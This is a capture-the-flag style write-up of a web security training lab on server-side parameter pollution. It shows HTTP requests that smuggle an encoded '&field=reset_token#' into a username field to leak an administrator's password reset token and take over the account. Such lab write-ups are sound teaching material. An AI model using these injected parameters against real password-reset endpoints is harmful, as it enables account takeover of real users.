Exploiting server side parameter pollution in a query string
Description
To solve the lab, log in as the administrator
and delete carlos
.
Approach
After accessing the lab, I enabled the FoxyProxy extension to proxy all my requests through Burp Suite. Two requests got my attention: one fetching a JavaScript file and the other a POST request to /forgot-password.
Starting with the GET /static/js/forgotPassword.js
, there is an interesting part in the JavaScript script:
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?reset_token=${resetToken}`;
}
This part is responsible for getting the value of reset_token
and verifying it. If it exists, it redirects with a GET request to /forgot-password
with that reset_token
.
From this information, I can build an attack path to get the administrator's reset_token
, reset their password, log in as them, and delete the user Carlos.
I started working on how to get the reset_token
of the administrator. I went to the POST /forgot-password
request and sent it to the repeater in Burp Suite to start working on it.
POST /forgot-password HTTP/2
Host: 0ad9005904e93da6830b064c00c100e6.web-security-academy.net
Cookie: session=XX4y2Xd8qFXhlYM0Idm6QkEykmDJKSrs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=lUkBK6PRsgjJbI2kT8jKumH5v93cmXHK&username=administrator
First, I tested for server-side parameter pollution by trying to truncate the query string using the #
character and URL encoding it.
POST /forgot-password HTTP/2
Host: 0ad9005904e93da6830b064c00c100e6.web-security-academy.net
Cookie: session=XX4y2Xd8qFXhlYM0Idm6QkEykmDJKSrs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=lUkBK6PRsgjJbI2kT8jKumH5v93cmXHK&username=administrator%23
I received an error:
{"error": "Field not specified."}
Since I truncated the query, there was still a parameter that didn't get its value, and the error indicated it was the field
parameter. So I tried adding it to see what I would get:
POST /forgot-password HTTP/2
Host: 0a24009d031f410f8149c2c400380018.web-security-academy.net
Cookie: session=SWBZszK2kZEaao6LLahbAfqbxNVnR13I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=TRxtbbrFl6fBhrYWOQ7IeHmYygPHxMr8&username=administrator%26field=ichyaboy%23
I received an error indicating an invalid field:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58
{"type":"ClientError","code":400,"error":"Invalid field."}
Referring back to my earlier findings about the reset_token
, I tried passing it to see if it could be reached:
POST /forgot-password HTTP/2
Host: 0a24009d031f410f8149c2c400380018.web-security-academy.net
Cookie: session=SWBZszK2kZEaao6LLahbAfqbxNVnR13I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
csrf=TRxtbbrFl6fBhrYWOQ7IeHmYygPHxMr8&username=administrator%26field=reset_token%23
I received the token in the response:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66
{"type":"reset_token","result":"100oji58dtnwesl7euzmeri075etmhwd"}
By simply sending a GET /forgot-password?reset_token=100oji58dtnwesl7euzmeri075etmhwd
, I could access the password reset page for the administrator. I right-clicked the response, clicked Show response in browser, copied the URL, and pasted it into my browser. I reset the administrator's password, logged in as him, and deleted the user Carlos, solving the lab.